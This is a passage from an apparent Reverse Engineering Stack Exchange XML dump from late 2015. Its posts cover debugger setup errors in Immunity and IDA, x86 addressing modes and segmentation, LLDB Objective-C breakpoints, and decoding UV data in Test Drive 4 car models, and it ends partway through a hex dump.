  <row Id="11437" PostTypeId="1" CreationDate="2015-11-30T08:05:31.553" Score="1" ViewCount="305" Body="&lt;p&gt;I'm new to the science of reverse engineering. I recently downloaded &lt;strong&gt;&lt;em&gt;immunity debugger 1.85 32bit Assembler-Level Debugger&lt;/em&gt;&lt;/strong&gt;. My host machine is &lt;strong&gt;&lt;em&gt;Windows 7 64 bit&lt;/em&gt;&lt;/strong&gt;. I have &lt;strong&gt;&lt;em&gt;python 2.7 installed as 32 bit image&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;MSVCR90.dll&lt;/em&gt;&lt;/strong&gt; in pythons install directory. Whenever I execute the pycommands I get a MSCVR90.dll runtime error R6034. Does this debugger work on 64 bit host? If so what can I do to correct this runtime error? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your advice is really appreciated... &lt;/p&gt;&#xA;" OwnerUserId="14038" LastActivityDate="2015-11-30T08:05:31.553" Title="immunity debugger MSVCR90.dll R6034" Tags="|debugging|debuggers|immunity-debugger|disassemblers|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="11438" PostTypeId="1" AcceptedAnswerId="11439" CreationDate="2015-11-30T09:02:53.320" Score="4" ViewCount="27152" Body="&lt;p&gt;I want to launch IDA debugger for one 64-bit exe file and it fails, have tried with more samples, but result always the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is that I do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Launch &lt;code&gt;IDA Pro (64-bit)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Debugger&lt;/code&gt; -&gt; &lt;code&gt;Run&lt;/code&gt; -&gt; &lt;code&gt;Local Windows Debugger&lt;/code&gt; from top menu.&lt;/li&gt;&#xA;&lt;li&gt;Select my file. &lt;a href=&quot;https://i.stack.imgur.com/QClOU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QClOU.png&quot; alt=&quot;How it looks&quot;&gt;&lt;/a&gt; and click &lt;code&gt;OK&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;At this point getting such prompt. &lt;a href=&quot;https://i.stack.imgur.com/6jANx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jANx.png&quot; alt=&quot;prompt&quot;&gt;&lt;/a&gt; and click &lt;code&gt;Yes&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Finally got such error: &lt;a href=&quot;https://i.stack.imgur.com/M0U3g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M0U3g.png&quot; alt=&quot;error1&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;And after that this-one: &lt;a href=&quot;https://i.stack.imgur.com/HM5Mv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HM5Mv.png&quot; alt=&quot;error2&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It happens all the time, have tried it on a few different VMs on my actual machine. I'm using full version of IDA v6.7.141229.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe something has to be configured, as the last error says something about wrong parameters, can someone advice?&lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2017-06-27T07:38:07.627" Title="IDA cannot launch debugger for 64-bit exe files" Tags="|ida|x86-64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11439" PostTypeId="2" ParentId="11438" CreationDate="2015-11-30T10:20:55.257" Score="8" Body="&lt;p&gt;Since IDA is a 32 bit process, it can only debug x64 binaries remotely (&lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/&quot;&gt;source&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do that, you need to use the &lt;code&gt;IDA X.X/dbgsrv/win64_remotex64.exe&lt;/code&gt; file and start a debugger. Once the debugger is running, you can connect to it &quot;remotely&quot; and debug. You can check &lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32towin64.shtml&quot;&gt;this tutorial&lt;/a&gt; for more specific details.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-11-30T10:20:55.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11440" PostTypeId="2" ParentId="10721" CreationDate="2015-11-30T10:21:45.467" Score="0" Body="&lt;p&gt;If you are used to using Ollydbg a lot, there is a plugin called &lt;a href=&quot;https://tuts4you.com/download.php?view.54&quot; rel=&quot;nofollow&quot;&gt;Godup&lt;/a&gt;. I used it on a daily basis when analyzing Delphi binaries since it contains IDA signatures that can be applied to a file being analyzed in Ollydbg. I believe it is not limited on only Delphi binaries, but based on my work so far that is the area where I used it the most. It saves me quite a lot of time with its function discovery functionality.  &lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2015-11-30T10:21:45.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11441" PostTypeId="2" ParentId="11436" CreationDate="2015-11-30T10:31:55.070" Score="0" Body="&lt;p&gt;As far as I know it is possible only if the executable is compiled with debug information (DWARF).&#xA;In other cases this information is removed.&#xA;&lt;a href=&quot;http://eli.thegreenplace.net/2011/02/07/how-debuggers-work-part-3-debugging-information/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can see an example of how it looks like. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-11-30T10:31:55.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11442" PostTypeId="1" AcceptedAnswerId="11443" CreationDate="2015-11-30T16:46:53.997" Score="5" ViewCount="3122" Body="&lt;p&gt;I'm trying to have a whole picture of all the possible addressing modes of X86 instructions. Starting from this I studied the Intel IA-32 reference and multiple secondary references found online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to understand them correctly, so here's my doubts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bChVS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bChVS.png&quot; alt=&quot;16bit Addressing Modes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mod == 0b11&lt;/code&gt;: direct value contained in register is accessed, quite clear&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mod != 0b11&lt;/code&gt;: these are all indirect values, with optional 8 bit or 16 bit displacement to the final value, so we refer to the value contained in the computed address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My doubts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the 16 bit displacement is signed or unsigned? Eg &lt;code&gt;mov ax, [SI + 40000]&lt;/code&gt; vs &lt;code&gt;mov ax, [SI - 1000]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;what is exactly the case &lt;code&gt;mod == 0b00 &amp;amp; R/M == 0b110&lt;/code&gt;? It' just a indirect absolute value, eg &lt;code&gt;mov cl, [1234h]&lt;/code&gt;, which masm compile as &lt;code&gt;8b0e3412: mov cx, WORD PTR ds:0x1234&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;are all these indirect addressing always relative to a segment? From the refence it sounds like that in 16 bit mode everything is always relative to DS, unless BP is contained in the indirect address, in that case SS is used (or a specific segment override is used). So basically &lt;code&gt;[BP+SI+10h]&lt;/code&gt; always means &lt;code&gt;SS:[BP+SI+10h]&lt;/code&gt; where SS segment is shifted by 4 bits to the left.&lt;/li&gt;&#xA;&lt;li&gt;which is the exact role of 67h prefix in this context? If I use a 67h prefix it's like switching the table of 16 bit addressings with the 32 bit addressing and viceversa? (according to the current executing mode).&lt;/li&gt;&#xA;&lt;li&gt;and what about 66h? Does it just change the &quot;size&quot; of data moved between 16 bits and 32 bits? Eg, forcing 32 bit operand size means that a 32 bit register will be selected and always 4 bytes of memory will be fetched from the indirect address and vice versa?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And now the 32-bit addressing modes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GbrxF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GbrxF.png&quot; alt=&quot;32 Addressing modes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mod == 0b11&lt;/code&gt;: direct value, as for 16 bit, quite clear&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mod == 0b00 &amp;amp;&amp;amp; R/M == 0b101&lt;/code&gt;: raw value as for the 16 bits addressing case&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mod != 0b11 &amp;amp;&amp;amp; R/M == 0b100&lt;/code&gt;: the R/M doesn't specify a register but the SIB mode, so we can specify a base register + an index register + a scale value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here everything is enough clear, I was just wondering, as for 16 bits if displacement in 32 bits are signed or unsigned? SIB and displacement can be combined easily if I understand it correctly, eg &lt;code&gt;[EAX + EBX*2 + 10]&lt;/code&gt; will generate a &lt;code&gt;mod == 01&lt;/code&gt; with specific SIB byte and additional single byte for signed displacement. Are these values considered absolute in a flat memory space or segments must be considered here too?&lt;/p&gt;&#xA;" OwnerUserId="14260" LastEditorUserId="53" LastEditDate="2015-12-16T17:11:47.200" LastActivityDate="2015-12-16T17:11:47.200" Title="Understanding subtle differences between addressing modes in X86" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11443" PostTypeId="2" ParentId="11442" CreationDate="2015-11-30T19:13:25.953" Score="5" Body="&lt;p&gt;These are a lot of questions at once, i'll answer at least some of them. But, please not, unless you're writing an assembler or disassembler yourself, you shouldn't really go into the gory details of every single bit. And unless you have done a lot of programming in assembler, and reading and understanding disassembled code, you shouldn't even try to write an assembler or disassembler yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't misunderstand me, writing your own assembler &lt;em&gt;can&lt;/em&gt; be an interesting and educational experience. But the gory details aren't first thing you should learn to understand the concept of a processor and its assembly language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That out of the way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter if the 16 bit displacement is signed or unsigned. If it overflows, it overflows, and it's always cut to 16 bit. So if you add offset &lt;code&gt;0xfff0&lt;/code&gt; to address &lt;code&gt;0x1234&lt;/code&gt;, you'll get &lt;code&gt;0x1224&lt;/code&gt; as result.  It doesn't really matter if you interpret this as &quot;&lt;code&gt;0xfff0&lt;/code&gt; is equal to &lt;code&gt;-0x0010&lt;/code&gt;, so we subtract &lt;code&gt;0x10&lt;/code&gt; from &lt;code&gt;0x1234&lt;/code&gt;&quot; or &quot;add &lt;code&gt;0xfff0&lt;/code&gt; to &lt;code&gt;0x1234&lt;/code&gt;, get &lt;code&gt;0x11224&lt;/code&gt;, and strip the overflow bit&quot;. Or, if you add &lt;code&gt;0x89ab&lt;/code&gt; and &lt;code&gt;0x89ab&lt;/code&gt;, you get &lt;code&gt;0x1356&lt;/code&gt;. &lt;code&gt;0x11356&lt;/code&gt; with the overflow bit stripped, to be precise. It doesn't matter if you take &lt;code&gt;0x89ab&lt;/code&gt; as (decimal) &lt;code&gt;35243&lt;/code&gt;, or &lt;code&gt;-30293&lt;/code&gt;. The possible results - &lt;code&gt;35243+35243=70486&lt;/code&gt;, &lt;code&gt;35243-30293=4950&lt;/code&gt;, &lt;code&gt;-30293-30293=-60586&lt;/code&gt; - do all have the same representation - &lt;code&gt;0x1356&lt;/code&gt; - in 16 bit hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, mod=&lt;code&gt;0b00&lt;/code&gt; and R/M=&lt;code&gt;0b110&lt;/code&gt; is just an indirect address. &lt;code&gt;mov cx, [1234h]&lt;/code&gt; and &lt;code&gt;mov cx, WORD PTR ds:0x1234&lt;/code&gt; are two ways of writing the same thing. Note i corrected your &lt;code&gt;cl&lt;/code&gt; to &lt;code&gt;cx&lt;/code&gt;; whether or not you use an 8-bit or 16-bit register is part of the instruction, not of the addressing mode. If you have a register, the size is clear from the register name, but in an instruction like &lt;code&gt;mov [1234h],5&lt;/code&gt;, you don't know if the 5 is a byte, word, or dword value. &lt;code&gt;mov word ptr ds:1234h, 5&lt;/code&gt; makes this clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, all addresses are relative to the chosen segment - &lt;code&gt;ds&lt;/code&gt; in most cases, &lt;code&gt;ss&lt;/code&gt; if you use &lt;code&gt;bp&lt;/code&gt;, and the given register if you use an explicit override prefix. Note there wasn't a way to index relative to &lt;code&gt;sp&lt;/code&gt; in 16 bit mode, and &lt;code&gt;bp&lt;/code&gt;, if used at all, was always the first register in &lt;code&gt;R1+R2&lt;/code&gt; combinations, forcing &lt;code&gt;ss&lt;/code&gt; to be used with &lt;code&gt;bp&lt;/code&gt;. In 32 bit mode, more combinations are possible, and &lt;code&gt;[ebp+ebx]&lt;/code&gt; uses &lt;code&gt;ss&lt;/code&gt;, while &lt;code&gt;[ebx+ebp]&lt;/code&gt; uses ds. (However, 32 bit mode also means protected mode, and in all but the most pathological cases, operating systems use the same selector values for &lt;code&gt;ss&lt;/code&gt; and &lt;code&gt;ds&lt;/code&gt;, and &lt;code&gt;cs&lt;/code&gt; as well. See below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;[BP+SI+10h]&lt;/code&gt; means &lt;code&gt;[SS:BP+SI+10h]&lt;/code&gt;, which means &lt;code&gt;(SS&amp;lt;&amp;lt;4 + BP + SI + 10h)&lt;/code&gt; on the address bus lines. Note that those 16 bit processors had 20 bits on the address bus, which means overflow could occur, and the overflow bit was cut off as well. So, FFF0:0010 and 0000:0000 are actually the same address on an 8086 - &lt;code&gt;00000&lt;/code&gt; - since bit 20 from &lt;code&gt;100000&lt;/code&gt; got cut off. On a 32 bit processor, this bit 20 actually exists. Which means some programs, that used that mechanism to obfuscate their copy protections, stopped working when the 80386 was introduced. Or would have, if IBM hadn't invented a mechanism around it - the nefarious A20 gate. Google for that if you're inclined to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prefixes &lt;code&gt;66h&lt;/code&gt; and &lt;code&gt;67h&lt;/code&gt; - ask someone else. Although i've been reading and writing assembler code for more than 20 years, i never had reason to learn the relation between hex bytes and processor instructions. See above. Well, i guess there are two exceptions: &lt;code&gt;90h&lt;/code&gt; is &lt;code&gt;NOP&lt;/code&gt;, and &lt;code&gt;cch&lt;/code&gt; is &lt;code&gt;INT3&lt;/code&gt;. And byte sequences like &lt;code&gt;PQRST&lt;/code&gt;, &lt;code&gt;50h 51h 52h 53h 54h&lt;/code&gt; are push-register instructions, which makes them useful for locating procedure starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 32 bit modes, the displacements are just as &quot;signed&quot; or &quot;unsigned&quot; as in 16 bit modes. Just treat them as 32 bit values that get added, which might result in an overflow that's thrown away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, these values are considered relative to the &quot;segment&quot;s as well. Just that 32 bit implies protected mode, which means the segments are called selectors, have different semantics, and get generally ignored by most application programmers.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;A word to segments, why they mattered, and don't (normally) matter any more:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;At first, when the 8086 was introduced, it was meant to replace the older 8080 processor (and the Z80, which was from a different company, compatible to the 8080, but better and more successful). The 8080 had 64 KB at a maximum altogether, so programmers had to squeeze everything - code, data, stack - into those 64 KB, and most of the time, a part of these 64 KB was used by hardware, so you had even less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the 8086, and the segment registers, were designed, someone at intel probably thought &quot;We're giving people much more space - 64 kb code AND 64 kb data AND 64 kb stack, so programs can be much larger; we can multitask between several programs, the operating system will manage the segment registers to assign space to each program, and every program can be so much bigger than today&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in fact, programs got much larger quickly, so the idea &quot;segment registers should concern the OS only&quot; wasn't ever used. Instead, programs had to juggle segments on their own, which was a major PITA for everybody from compiler builders to application programmers, and everybody had to learn - and know - about them to get anything done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When 32 bit processors started, with 4 GB addressable in a &lt;em&gt;linear&lt;/em&gt; fashion, segments suddenly became big enough that application programmers didn't have to care about them anymore. These days, juggling segments and assigning them to memory maps is strictly the task of the operating system, and due to protected mode, programs couldn't change them even if they wanted. So, what most operating systems do is provide one single flat block of memory to the program, and have &lt;code&gt;cs&lt;/code&gt;, &lt;code&gt;ds&lt;/code&gt;, &lt;code&gt;es&lt;/code&gt; and &lt;code&gt;ss&lt;/code&gt; map to that block identically. Your application just sees 4 GB of addressable memory (not all of that needs to be truly mapped to physical memory however), and it doesn't matter to the application anymore which segment registers it uses - &lt;code&gt;[DS:1234]&lt;/code&gt; is the same as &lt;code&gt;[ES:1234]&lt;/code&gt; is the same as &lt;code&gt;[SS:1234]&lt;/code&gt; is the same as &lt;code&gt;[CS:1234]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exception to this is the new registers &lt;code&gt;FS&lt;/code&gt; and &lt;code&gt;GS&lt;/code&gt;, for example, Windows uses &lt;code&gt;FS&lt;/code&gt; for &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;Structured Exception Handling&lt;/a&gt;, and Linux uses &lt;code&gt;GS&lt;/code&gt; for &lt;a href=&quot;http://wiki.osdev.org/Thread_Local_Storage&quot; rel=&quot;noreferrer&quot;&gt;Thread local storage&lt;/a&gt;. These segments are NOT mapped to the standard 4 GB block, but an application won't notice, since neither of these registers is ever used without an explicit prefix. (Note &lt;code&gt;ES&lt;/code&gt; can not be used in the same way, since instructions like &lt;code&gt;stos[bwd]&lt;/code&gt; and &lt;code&gt;movs[bwd]&lt;/code&gt; use &lt;code&gt;ES:EDI&lt;/code&gt; by default).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-11-30T19:20:35.573" LastActivityDate="2015-11-30T19:20:35.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11445" PostTypeId="1" CreationDate="2015-11-30T23:37:50.137" Score="1" ViewCount="879" Body="&lt;p&gt;When an executable that has been stripped is opened in lldb, lldb doesn't know the names of any functions and breakpoints have to be set manually on hex addresses, which is very annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for Objective C executables, at least, it should be possible to reconstruct the addresses of functions from the Objective C runtime information in the object file: __DATA,__objc_classlist , __TEXT,__objc_methname , and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this in lldb currently? Or is it just ignoring that information?&lt;/p&gt;&#xA;" OwnerUserId="14287" LastActivityDate="2016-04-22T08:32:02.693" Title="Load symbols from __objc_* sections in LLDB" Tags="|osx|lldb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11447" PostTypeId="2" ParentId="11445" CreationDate="2015-12-01T09:44:56.053" Score="1" Body="&lt;p&gt;Since the &lt;code&gt;Objc&lt;/code&gt; data (selectors) has to be available to the &lt;code&gt;Objc&lt;/code&gt; code in order for it to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LLDB can set breakpoints according to selectors using the &lt;code&gt;breakpoint set -n &quot;[SomeClass someFunction:]&quot;&lt;/code&gt; command. You can also check the &lt;a href=&quot;http://lldb.llvm.org/tutorial.html&quot; rel=&quot;nofollow&quot;&gt;LLDB tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-12-01T09:44:56.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11448" PostTypeId="2" ParentId="8463" CreationDate="2015-12-02T16:16:59.927" Score="2" Body="&lt;p&gt;The malware &lt;em&gt;could&lt;/em&gt; destroy its PE Headers at runtime so you might want to look for a tool that is capable of handling those cases.&#xA;&lt;a href=&quot;https://tuts4you.com/download.php?view.3503&quot; rel=&quot;nofollow&quot;&gt;Scylla&lt;/a&gt; should do the job.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2015-12-02T16:16:59.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11450" PostTypeId="2" ParentId="77" CreationDate="2015-12-03T08:11:38.343" Score="3" Body="&lt;p&gt;If you are interested into a decompiler on API level: &lt;a href=&quot;https://code.google.com/p/facile-api/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/facile-api/&lt;/a&gt; (in Java though)&lt;/p&gt;&#xA;" OwnerUserId="14310" LastActivityDate="2015-12-03T08:11:38.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11451" PostTypeId="1" AcceptedAnswerId="11467" CreationDate="2015-12-03T13:28:02.203" Score="5" ViewCount="678" Body="&lt;p&gt;I'm trying to reverse engineer 3D models (cars) from a racing game from 1997 (&lt;a href=&quot;https://en.wikipedia.org/wiki/Test_Drive_4&quot;&gt;Test Drive 4&lt;/a&gt;). I'm able to extract the 3D mesh and textures, but cannot figure out how UV mapping works yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only one file per car which contains everything (3D model, textures, dashboard, tuning, etc.). The 3D model section contains a vertices list and polygons list. A single polygon looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Triangle&#xA;{&#xA;    ulong       beg = 0xffff0000&#xA;    ushort      texture     // 0 = car bottom, 3 = body&#xA;    ubyte[6]    unknown     // UV mapping???&#xA;    ulong[3]    vertices    // Indices&#xA;    ulong       end = 0x00000000&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that the 6-byte &lt;code&gt;unknown&lt;/code&gt; section contains UV data, since there is a clear difference ingame when I modify these values. It is 6 bytes long so it can hold a U &amp;amp; V value for each of the 3 vertices. However, I have absolutely no idea how to interpret these numbers. I've tried reading them as bytes and dividing by 255 to convert them to floats ranging from 0 to 1, without success. Are they possibly 8-bit floats? (I don't understand how these work, so can't be sure.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a hex dump of 80 polygons (one per line).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FF FF 00 00 03 00 7B 7B 7D AD BE AD 00 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7B 7D 7D BE BE AD 01 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 3E 1C 3E BE BE C9 04 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 1C 3E BE CB C9 05 00 00 00 07 00 00 00 06 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7B 7B 7D AD BE AD 08 00 00 00 09 00 00 00 0A 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7B 7D 7D BE BE AD 09 00 00 00 0B 00 00 00 0A 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 09 09 02 AC 9E AC 0C 00 00 00 0D 00 00 00 0E 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 09 00 02 9E 9E AC 0D 00 00 00 0F 00 00 00 0E 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 A0 A7 A0 1D 1D 00 10 00 00 00 11 00 00 00 12 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 A7 A7 A0 1D 00 00 11 00 00 00 13 00 00 00 12 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 45 45 67 3F 48 3F 14 00 00 00 15 00 00 00 01 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 44 44 46 5B 5B 48 16 00 00 00 17 00 00 00 18 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 44 47 46 5B 49 48 17 00 00 00 19 00 00 00 18 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 92 97 98 1D 1D 1A 1A 00 00 00 17 00 00 00 16 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 00 19 19 7B 7E 60 1B 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 46 44 29 47 5B 4A 19 00 00 00 17 00 00 00 1D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 44 2B 29 5B 5C 4A 17 00 00 00 1A 00 00 00 1D 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 98 97 92 03 00 00 1E 00 00 00 1F 00 00 00 20 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 3E 3E 2D BE BB BE 14 00 00 00 1B 00 00 00 21 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 3E 2D 2D BB BC BE 1B 00 00 00 22 00 00 00 21 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 2D 1C 90 81 90 23 00 00 00 24 00 00 00 25 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 1C 1C 81 81 90 24 00 00 00 26 00 00 00 25 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 2D 18 BE BC BE 21 00 00 00 22 00 00 00 27 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 2D 18 18 BC BB BE 22 00 00 00 28 00 00 00 27 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 1C 09 90 81 90 25 00 00 00 26 00 00 00 29 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 1C 12 09 81 82 90 26 00 00 00 2A 00 00 00 29 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 92 92 91 07 00 00 2B 00 00 00 20 00 00 00 2C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 18 18 11 BD BB BD 27 00 00 00 28 00 00 00 2D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 18 11 11 BB BB BD 28 00 00 00 2E 00 00 00 2D 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 03 0B 0C 86 8E 7F 2F 00 00 00 29 00 00 00 30 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 0B 13 0C 8E 81 7F 29 00 00 00 2A 00 00 00 30 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 0D 0C 00 4D 57 57 31 00 00 00 32 00 00 00 33 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 83 81 87 03 07 01 34 00 00 00 35 00 00 00 36 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 81 87 87 07 07 01 35 00 00 00 37 00 00 00 36 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5D 5E 3F BD AD BD 38 00 00 00 39 00 00 00 03 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5E 3F 3F AD AD BD 39 00 00 00 02 00 00 00 03 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7C 5E 7C AD AD BD 3A 00 00 00 39 00 00 00 3B 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5E 5D 7C AD BD BD 39 00 00 00 38 00 00 00 3B 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 AA AA AB 16 1D 1E 3C 00 00 00 3D 00 00 00 3E 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 BC BA B5 06 01 08 3F 00 00 00 40 00 00 00 41 00 00 00 00 00 00 00&#xA;FF FF 00 00 00 00 BA B5 B5 01 00 08 40 00 00 00 42 00 00 00 41 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5D 5D 43 0C 1B 0C 43 00 00 00 44 00 00 00 45 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5D 48 43 1B 1B 0C 44 00 00 00 46 00 00 00 45 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7B 59 7B BF BF C9 3B 00 00 00 05 00 00 00 3A 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 59 5A 7B BF C9 C9 05 00 00 00 47 00 00 00 3A 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 00 00 1C DC F7 CB 48 00 00 00 40 00 00 00 07 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 00 1C 1C F7 F3 CB 40 00 00 00 3F 00 00 00 07 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 5F 3F 1C F2 EB F2 49 00 00 00 4A 00 00 00 3F 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7D 7D 60 DC C3 CE 43 00 00 00 4B 00 00 00 4C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7D 5F 60 C3 BE CE 4B 00 00 00 4D 00 00 00 4C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 04 0C 0B B7 BE AF 4E 00 00 00 2D 00 00 00 0C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 0C 13 0B BE BC AF 2D 00 00 00 2E 00 00 00 0C 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 7D 62 73 00 00 13 2F 00 00 00 33 00 00 00 4F 00 00 00 00 00 00 00&#xA;FF FF 00 00 03 00 62 5F 73 00 13 13 33 00 00 00 50 